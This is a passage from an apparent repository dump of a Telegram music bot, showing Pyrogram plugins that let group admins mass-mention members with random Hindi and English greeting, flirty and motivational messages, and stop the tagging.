sᴏ ɴᴀʜɪ ʀʜᴀ 🕦** \",\n           \" **➠ ᴋᴀʟ sᴜʙʜᴀ sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴀᴋ ᴊᴀɢ ʀʜᴇ ʜᴏ 🏫** \",\n           \" **➠ ʙᴀʙᴜ, ɢᴏᴏᴅ ɴɪɢʜᴛ sᴅ ᴛᴄ..?? 😊** \",\n           \" **➠ ᴀᴀᴊ ʙʜᴜᴛ ᴛʜᴀɴᴅ ʜᴀɪ, ᴀᴀʀᴀᴍ sᴇ ᴊᴀʟᴅɪ sᴏ ᴊᴀᴛɪ ʜᴏᴏɴ 🌼** \",\n           \" **➠ ᴊᴀɴᴇᴍᴀɴ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🌷** \",\n           \" **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ sᴏɴᴇ, ɢɴ sᴅ ᴛᴄ 🏵️** \",\n           \" **➠ ʜᴇʟʟᴏ ᴊɪ ɴᴀᴍᴀsᴛᴇ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🍃** \",\n           \" **➠ ʜᴇʏ, ʙᴀʙʏ ᴋᴋʀʜ..? sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ ☃️** \",\n           \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ, ʙʜᴜᴛ ʀᴀᴀᴛ ʜᴏ ɢʏɪ..? ⛄** \",\n           \" **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ ʀᴏɴᴇ, ɪ ᴍᴇᴀɴ sᴏɴᴇ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ 😁** \",\n           \" **➠ ᴍᴀᴄʜʜᴀʟɪ ᴋᴏ ᴋᴇʜᴛᴇ ʜᴀɪ ғɪsʜ, ɢᴏᴏᴅ ɴɪɢʜᴛ ᴅᴇᴀʀ ᴍᴀᴛ ᴋʀɴᴀ ᴍɪss, ᴊᴀ ʀʜɪ sᴏɴᴇ 🌄** \",\n           \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ʙʀɪɢʜᴛғᴜʟʟ ɴɪɢʜᴛ 🤭** \",\n           \" **➠ ᴛʜᴇ ɴɪɢʜᴛ ʜᴀs ғᴀʟʟᴇɴ, ᴛʜᴇ ᴅᴀʏ ɪs ᴅᴏɴᴇ,, ᴛʜᴇ ᴍᴏᴏɴ ʜᴀs ᴛᴀᴋᴇɴ ᴛʜᴇ ᴘʟᴀᴄᴇ ᴏғ ᴛʜᴇ sᴜɴ... 😊** \",\n           \" **➠ ᴍᴀʏ ᴀʟʟ ʏᴏᴜʀ ᴅʀᴇᴀᴍs ᴄᴏᴍᴇ ᴛʀᴜᴇ ❤️** \",\n           \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴘʀɪɴᴋʟᴇs sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ 💚** \",\n           \" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɴɪɴᴅ ᴀᴀ ʀʜɪ ʜᴀɪ 🥱** \",\n           \" **➠ ᴅᴇᴀʀ ғʀɪᴇɴᴅ ɢᴏᴏᴅ ɴɪɢʜᴛ 💤** \",\n           \" **➠ ʙᴀʙʏ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ 🥰** \",\n           \" **➠ ɪᴛɴɪ ʀᴀᴀᴛ ᴍᴇ ᴊᴀɢ ᴋᴀʀ ᴋʏᴀ ᴋᴀʀ ʀʜᴇ ʜᴏ sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 😜** \",\n           \" **➠ ᴄʟᴏsᴇ ʏᴏᴜʀ ᴇʏᴇs sɴᴜɢɢʟᴇ ᴜᴘ ᴛɪɢʜᴛ,, ᴀɴᴅ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ᴀɴɢᴇʟs, ᴡɪʟʟ ᴡᴀᴛᴄʜ ᴏᴠᴇʀ ʏᴏᴜ ᴛᴏɴɪɢʜᴛ... 💫** \",\n           ]\n\nVC_TAG = [ \"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋᴇsᴇ ʜᴏ 🐱**\",\n         \"**➠ ɢᴍ, sᴜʙʜᴀ ʜᴏ ɢʏɪ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 🌤️**\",\n         \"**➠ ɢᴍ ʙᴀʙʏ, ᴄʜᴀɪ ᴘɪ ʟᴏ ☕**\",\n         \"**➠ ᴊᴀʟᴅɪ ᴜᴛʜᴏ, sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ 🏫**\",\n         \"**➠ ɢᴍ, ᴄʜᴜᴘ ᴄʜᴀᴘ ʙɪsᴛᴇʀ sᴇ ᴜᴛʜᴏ ᴠʀɴᴀ ᴘᴀɴɪ ᴅᴀʟ ᴅᴜɴɢɪ 🧊**\",\n         \"**➠ ʙᴀʙʏ ᴜᴛʜᴏ ᴀᴜʀ ᴊᴀʟᴅɪ ғʀᴇsʜ ʜᴏ ᴊᴀᴏ, ɴᴀsᴛᴀ ʀᴇᴀᴅʏ ʜᴀɪ 🫕**\",\n         \"**➠ ᴏғғɪᴄᴇ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ ᴊɪ ᴀᴀᴊ, ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🏣**\",\n         \"**➠ ɢᴍ ᴅᴏsᴛ, ᴄᴏғғᴇᴇ/ᴛᴇᴀ ᴋʏᴀ ʟᴏɢᴇ ☕🍵**\",\n         \"**➠ ʙᴀʙʏ 8 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ, ᴀᴜʀ ᴛᴜᴍ ᴀʙʜɪ ᴛᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🕖**\",\n         \"**➠ ᴋʜᴜᴍʙʜᴋᴀʀᴀɴ ᴋɪ ᴀᴜʟᴀᴅ ᴜᴛʜ ᴊᴀᴀ... ☃️**\",\n         \"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ʜᴀᴠᴇ ᴀ ɴɪᴄᴇ ᴅᴀʏ... 🌄**\",\n         \"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴀᴠᴇ ᴀ ɢᴏᴏᴅ ᴅᴀʏ... 🪴**\",\n         \"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴏᴡ ᴀʀᴇ ʏᴏᴜ ʙᴀʙʏ 😇**\",\n         \"**➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ɴᴀʟᴀʏᴋ ᴀʙʜɪ ᴛᴀᴋ sᴏ ʀʜᴀ ʜᴀɪ... 😵‍💫**\",\n         \"**➠ ʀᴀᴀᴛ ʙʜᴀʀ ʙᴀʙᴜ sᴏɴᴀ ᴋʀ ʀʜᴇ ᴛʜᴇ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴋ sᴏ ʀʜᴇ ʜᴏ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ... 😏**\",\n         \"**➠ ʙᴀʙᴜ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴜᴛʜ ᴊᴀᴏ ᴀᴜʀ ɢʀᴏᴜᴘ ᴍᴇ sᴀʙ ғʀɪᴇɴᴅs ᴋᴏ ɢᴍ ᴡɪsʜ ᴋʀᴏ... 🌟**\",\n         \"**➠ ᴘᴀᴘᴀ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜ ɴᴀʜɪ, sᴄʜᴏᴏʟ ᴋᴀ ᴛɪᴍᴇ ɴɪᴋᴀʟᴛᴀ ᴊᴀ ʀʜᴀ ʜᴀɪ... 🥲**\",\n         \"**➠ ᴊᴀɴᴇᴍᴀɴ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋʏᴀ ᴋʀ ʀʜᴇ ʜᴏ ... 😅**\",\n         \"**➠ ɢᴍ ʙᴇᴀsᴛɪᴇ, ʙʀᴇᴀᴋғᴀsᴛ ʜᴜᴀ ᴋʏᴀ... 🍳**\",\n        ]\n\n\n@app.on_message(filters.command([\"gntag\", \"tagmember\" ], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mentionall(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n\n    if message.reply_to_message and message.text:\n        return await message.reply(\"/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    elif message.text:\n        mode = \"text_on_cmd\"\n        msg = message.text\n    elif message.reply_to_message:\n        mode = \"text_on_reply\"\n        msg = message.reply_to_message\n        if not msg:\n            return await message.reply(\"/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    else:\n        return await message.reply(\"/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            if mode == \"text_on_cmd\":\n                txt = f\"{usrtxt} {random.choice(TAGMES)}\"\n                await client.send_message(chat_id, txt)\n            elif mode == \"text_on_reply\":\n                await msg.reply(f\"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})\")\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n@app.on_message(filters.command([\"gmtag\"], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mention_allvc(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            txt = f\"{usrtxt} {random.choice(VC_TAG)}\"\n            await client.send_message(chat_id, txt)\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n\n@app.on_message(filters.command([\"gmstop\", \"gnstop\", \"cancle\"]))\nasync def cancel_spam(client, message):\n    if not message.chat.id in spam_chats:\n        return await message.reply(\"๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.\")\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(message.chat.id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.\")\n    else:\n        try:\n            spam_chats.remove(message.chat.id)\n        except:\n            pass\n        return await message.reply(\"๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/hitag.py",
    "content": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\n\nspam_chats = []\n\nEMOJI = [ \"🦋🦋🦋🦋🦋\",\n          \"🧚🌸🧋🍬🫖\",\n          \"🥀🌷🌹🌺💐\",\n          \"🌸🌿💮🌱🌵\",\n          \"❤️💚💙💜🖤\",\n          \"💓💕💞💗💖\",\n          \"🌸💐🌺🌹🦋\",\n          \"🍔🦪🍛🍲🥗\",\n          \"🍎🍓🍒🍑🌶️\",\n          \"🧋🥤🧋🥛🍷\",\n          \"🍬🍭🧁🎂🍡\",\n          \"🍨🧉🍺☕🍻\",\n          \"🥪🥧🍦🍥🍚\",\n          \"🫖☕🍹🍷🥛\",\n          \"☕🧃🍩🍦🍙\",\n          \"🍁🌾💮🍂🌿\",\n          \"🌨️🌥️⛈️🌩️🌧️\",\n          \"🌷🏵️🌸🌺💐\",\n          \"💮🌼🌻🍀🍁\",\n          \"🧟🦸🦹🧙👸\",\n          \"🧅🍠🥕🌽🥦\",\n          \"🐷🐹🐭🐨🐻‍❄️\",\n          \"🦋🐇🐀🐈🐈‍⬛\",\n          \"🌼🌳🌲🌴🌵\",\n          \"🥩🍋🍐🍈🍇\",\n          \"🍴🍽️🔪🍶🥃\",\n          \"🕌🏰🏩⛩️🏩\",\n          \"🎉🎊🎈🎂🎀\",\n          \"🪴🌵🌴🌳🌲\",\n          \"🎄🎋🎍🎑🎎\",\n          \"🦅🦜🕊️🦤🦢\",\n          \"🦤🦩🦚🦃🦆\",\n          \"🐬🦭🦈🐋🐳\",\n          \"🐔🐟🐠🐡🦐\",\n          \"🦩🦀🦑🐙🦪\",\n          \"🐦🦂🕷️🕸️🐚\",\n          \"🥪🍰🥧🍨🍨\",\n          \" 🥬🍉🧁🧇\",\n        ]\n\nTAGMES = [ \" **❅ बेबी कहा हो। 🤗** \",\n           \" **❅ ओए सो गए क्या, ऑनलाइन आओ ।😊** \",\n           \" **❅ ओए वीसी आओ बात करते हैं । 😃** \",\n           \" **❅ खाना खाया कि नही। 🥲** \",\n           \" **❅ घर में सब कैसे हैं। 🥺** \",\n           \" **❅ पता है बहुत याद आ रही आपकी। 🤭** \",\n           \" **❅ और बताओ कैसे हो।..?? 🤨** \",\n           \" **❅ मेरी भी सैटिंग करवा दो प्लीज..?? 🙂** \",\n           \" **❅ आपका नाम क्या है।..?? 🥲** \",\n           \" **❅ नाश्ता हो गया..?? 😋** \",\n           \" **❅ मुझे अपने ग्रूप में ऐड कर लो। 😍** \",\n           \" **❅ आपका दोस्त आपको बुला रहा है। 😅** \",\n           \" **❅ मुझसे शादी करोगे ..?? 🤔** \",\n           \" **❅ सोने चले गए क्या 🙄** \",\n           \" **❅ अरे यार कोई AC चला दो 😕** \",\n           \" **❅ आप कहा से हो..?? 🙃** \",\n           \" **❅ हेलो जी नमस्ते 😛** \",\n           \" **❅ BABY क्या कर रही हो..? 🤔** \",\n           \" **❅ क्या आप मुझे जानते हो .? ☺️** \",\n           \" **❅ आओ baby Ludo खेलते है .🤗** \",\n           \" **❅ चलती है क्या 9 से 12... 😇** \",\n           \" **❅ आपके पापा क्या करते है 🤭** \",\n           \" **❅ आओ baby बाजार चलते है गोलगप्पे खाने। 🥺** \",\n           \" **❅ अकेली ना बाजार जाया करो, नज़र लग जायेगी। 😶** \",\n           \" **❅ और बताओ BF कैसा है ..?? 🤔** \",\n           \" **❅ गुड मॉर्निंग 😜** \",\n           \" **❅ मेरा एक काम करोगे। 🙂** \",\n           \" **❅ DJ वाले बाबू मेरा गाना चला दो। 😪** \",\n           \" **❅ आप से मिलकर अच्छा लगा।☺** \",\n           \" **❅ मेरे बाबू ने थाना थाया।..? 🙊** \",\n           \" **❅ पढ़ाई कैसी चल रही हैं ? 😺** \",\n           \" **❅ हम को प्यार हुआ। 🥲** \",\n           \" **❅ Nykaa कौन है...? 😅** \",\n           \" **❅ तू खींच मेरी फ़ोटो ..? 😅** \",\n           \" **❅ Phone काट मम्मी आ गई क्या। 😆** \",\n           \" **❅ और भाबी से कब मिल वा रहे हो । 😉** \",\n           \" **❅ क्या आप मुझसे प्यार करते हो 💚** \",\n           \" **❅ मैं तुम से बहुत प्यार करती हूं..? 👀** \",\n           \" **❅ बेबी एक kiss दो ना..?? 🙉** \",\n           \" **❅ एक जॉक सुनाऊं..? 😹** \",\n           \" **❅ vc पर आओ कुछ दिखाती हूं  😻** \",\n           \" **❅ क्या तुम instagram चलते हो..?? 🙃** \",\n           \" **❅ whatsapp नंबर दो ना अपना..? 😕** \",\n           \" **❅ आप की दोस्त से मेरी सेटिंग करा दो ..? 🙃** \",\n           \" **❅ सारा काम हो गया हो तो ऑनलाइन आ जाओ।..? 🙃** \",\n           \" **❅ कहा से हो आप 😊** \",\n           \" **❅ जा तुझे आज़ाद कर दिया मैंने मेरे दिल से। 🥺** \",\n           \" **❅ मेरा एक काम करोगे, ग्रूप मे कुछ मेंबर ऐड कर दो ..? ♥️** \",\n           \" **❅ मैं तुमसे नाराज़ हूं 😠** \",\n           \" **❅ आपकी फैमिली कैसी है..? ❤** \",\n           \" **❅ क्या हुआ..? 🤔** \",\n           \" **❅ बहुत याद आ रही है आपकी 😒** \",\n           \" **❅ भूल गए मुझे 😏** \",\n           \" **❅ झूठ क्यों बोला आपने मुझसे 🤐** \",\n           \" **❅ इतना भाव मत खाया करो, रोटी खाया करो कम से कम मोटी तो हो जाओगी 😒** \",\n           \" **❅ ये attitude किसे @BRANDED_PAID_CC दिखा रहे हो 😮** \",\n           \" **❅ हेमलो कहा busy ho 👀** \",\n           \" **❅ आपके जैसा दोस्त पाकर मे बहुत खुश हूं। 🙈** \",\n           \" **❅ आज मन बहुत उदास है ☹️** \",\n           \" **❅ मुझसे भी बात कर लो ना 🥺** \",\n           \" **❅ आज खाने में क्या बनाया है 👀** \",\n           \" **❅ क्या चल रहा है 🙂** \",\n           \" **❅ message क्यों नहीं करती हो..🥺** \",\n           \" **❅ मैं मासूम हूं ना 🥺** \",\n           \" **❅ कल मज़ा आया था ना 😅** \",\n           \" **❅ कल कहा busy थे 😕** \",\n           \" **❅ आप relationship में हो क्या..? 👀** \",\n           \" **❅ कितने शांत रहते हो यार आप 😼** \",\n           \" **❅ आपको गाना, गाना आता है..? 😸** \",\n           \" **❅ घूमने चलोगे मेरे साथ..?? 🙈** \",\n           \" **❅ हमेशा हैप्पी रहा करो यार 🤞** \",\n           \" **❅ क्या हम दोस्त बन सकते है...? 🥰** \",\n           \" **❅ आप का विवाह हो गया क्या.. 🥺** \",\n           \" **❅ कहा busy the इतने दिनों से 🥲** \",\n           \" **❅ single हो या mingle 😉** \",\n           \" **❅ आओ पार्टी करते है 🥳** \",\n           \" **❅ Bio में link हैं join कर लो 🧐** \",\n           \" **❅ मैं तुमसे प्यार नहीं करती, 🥺** \",\n           \" **❅ यहां आ जाओ ना @BRANDED_WORLD मस्ती करेंगे 🤭** \",\n           \" **❅ भूल जाओ मुझे,..? 😊** \",\n           \" **❅ अपना बना ले पिया, अपना बना ले 🥺** \",\n           \" **❅ मेरा ग्रुप भी join कर लो ना 🤗** \",\n           \" **❅ मैने तेरा नाम Dil rakh diya 😗** \",\n           \" **❅ तुमारे सारे दोस्त कहा गए 🥺** \",\n           \" **❅ my cute owner @BRANDRD_BOT 🥰** \",\n           \" **❅ किसकी याद मे खोए हो जान 😜** \",\n           \" **❅ गुड नाईट जी बहुत रात हो गई 🥰** \",\n           ]\n\nVC_TAG = [ \"**❅ ɪғ ʏᴏᴜ ᴅᴏ ɴᴏᴛ sᴛᴇᴘ ғᴏʀᴡᴀʀᴅ ʏᴏᴜ ᴡɪʟʟ ʀᴇᴍᴀɪɴ ɪɴ ᴛʜᴇ sᴀᴍᴇ ᴘʟᴀᴄᴇ.**\",\n         \"**❅ ʟɪғᴇ ɪs ʜᴀʀᴅ ʙᴜᴛ ɴᴏᴛ ɪᴍᴘᴏssɪʙʟᴇ.**\",\n         \"**❅ ʟɪғᴇ’s ᴛᴏᴏ sʜᴏʀᴛ ᴛᴏ ᴀʀɢᴜᴇ ᴀɴᴅ ғɪɢʜᴛ.**\",\n         \"**❅ ᴅᴏɴ’ᴛ ᴡᴀɪᴛ ғᴏʀ ᴛʜᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛ ᴛᴀᴋᴇ ᴍᴏᴍᴇɴᴛ ᴀɴᴅ ᴍᴀᴋᴇ ɪᴛ ᴘᴇʀғᴇᴄᴛ.**\",\n         \"**❅ sɪʟᴇɴᴄᴇ ɪs ᴛʜᴇ ʙᴇsᴛ ᴀɴsᴡᴇʀ ᴛᴏ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ᴅᴏᴇsɴ’ᴛ ᴠᴀʟᴜᴇ ʏᴏᴜʀ ᴡᴏʀᴅs.**\",\n         \"**❅ ᴇᴠᴇʀʏ ɴᴇᴡ ᴅᴀʏ ɪs ᴀ ᴄʜᴀɴᴄᴇ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ.**\",\n         \"**❅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ, ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ᴘʀɪᴏʀɪᴛɪᴇs.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀ ᴊᴏᴜʀɴᴇʏ, ɴᴏᴛ ᴀ ʀᴀᴄᴇ..**\",\n         \"**❅ sᴍɪʟᴇ ᴀɴᴅ ᴅᴏɴ’ᴛ ᴡᴏʀʀʏ, ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ.**\",\n         \"**❅ ᴅᴏ ɴᴏᴛ ᴄᴏᴍᴘᴀʀᴇ ʏᴏᴜʀsᴇʟғ ᴛᴏ ᴏᴛʜᴇʀs ɪғ ʏᴏᴜ ᴅᴏ sᴏ ʏᴏᴜ ᴀʀᴇ ɪɴsᴜʟᴛɪɴɢ ʏᴏᴜʀsᴇʟғ.**\",\n         \"**❅ ɪ ᴀᴍ ɪɴ ᴛʜᴇ ᴘʀᴏᴄᴇss ᴏғ ʙᴇᴄᴏᴍɪɴɢ ᴛʜᴇ ʙᴇsᴛ ᴠᴇʀsɪᴏɴ ᴏғ ᴍʏsᴇʟғ.**\",\n         \"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ɪᴄᴇ ᴇɴᴊᴏʏ ɪᴛ ʙᴇғᴏʀᴇ ɪᴛ ᴍᴇʟᴛs.**\",\n         \"**❅ ʙᴇ ғʀᴇᴇ ʟɪᴋᴇ ᴀ ʙɪʀᴅ.**\",\n         \"**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**\",\n         \"**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**\",\n         \"**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴀᴛ ᴛʜᴇ ᴇɴᴅ ᴏғ ʏᴏᴜʀ ᴄᴏᴍғᴏʀᴛ ᴢᴏɴᴇ.**\",\n         \"**❅ ᴀʟʟ ᴛʜᴇ ᴛʜɪɴɢs ᴛʜᴀᴛ ʜᴜʀᴛ ʏᴏᴜ, ᴀᴄᴛᴜᴀʟʟʏ ᴛᴇᴀᴄʜ ʏᴏᴜ.**\",\n         \"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ ᴄᴀᴍᴇʀᴀ. sᴏ ғᴀᴄᴇ ɪᴛ ᴡɪᴛʜ ᴀ sᴍɪʟᴇ.**\",\n         \"**❅ ʟɪғᴇ ɪs 10% ᴏғ ᴡʜᴀᴛ ʜᴀᴘᴘᴇɴs ᴛᴏ ʏᴏᴜ ᴀɴᴅ 90% ᴏғ ʜᴏᴡ ʏᴏᴜ ʀᴇsᴘᴏɴᴅ ᴛᴏ ɪᴛ.**\",\n         \"**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**\",\n         \"**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**\",\n         \"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀɴ ᴇᴀsʏ ᴛᴀsᴋ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀ ᴡᴏɴᴅᴇʀғᴜʟ ᴀᴅᴠᴇɴᴛᴜʀᴇ.**\",\n         \"**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴏɴ ᴛʜᴇ ᴏᴛʜᴇʀ sɪᴅᴇ ᴏғ ᴅᴇsᴘᴀɪʀ.**\",\n         \"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀ ᴘʀᴏʙʟᴇᴍ ᴛᴏ ʙᴇ sᴏʟᴠᴇᴅ ʙᴜᴛ ᴀ ʀᴇᴀʟɪᴛʏ ᴛᴏ ʙᴇ ᴇxᴘᴇʀɪᴇɴᴄᴇᴅ.**\",\n         \"**❅ ʟɪғᴇ ᴅᴏᴇs ɴᴏᴛ ʜᴀᴠᴇ ᴀ ʀᴇᴍᴏᴛᴇ; ɢᴇᴛ ᴜᴘ ᴀɴᴅ ᴄʜᴀɴɢᴇ ɪᴛ ʏᴏᴜʀsᴇʟғ.**\",\n         \"**❅ sᴛᴀʀᴛ ᴛʀᴜsᴛɪɴɢ ʏᴏᴜʀsᴇʟғ, ᴀɴᴅ ʏᴏᴜ’ʟʟ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ ʟɪᴠᴇ.**\",\n         \"**❅ ʜᴇᴀʟᴛʜ ɪs ᴛʜᴇ ᴍᴏsᴛ ɪᴍᴘᴏʀᴛᴀɴᴛ ɢᴏᴏᴅ ᴏғ ʟɪғᴇ.**\",\n         \"**❅ ᴛɪᴍᴇ ᴄʜᴀɴɢᴇ ᴘʀɪᴏʀɪᴛʏ ᴄʜᴀɴɢᴇs.**\",\n         \"**❅ ᴛᴏ sᴇᴇ ᴀɴᴅ ᴛᴏ ғᴇᴇʟ 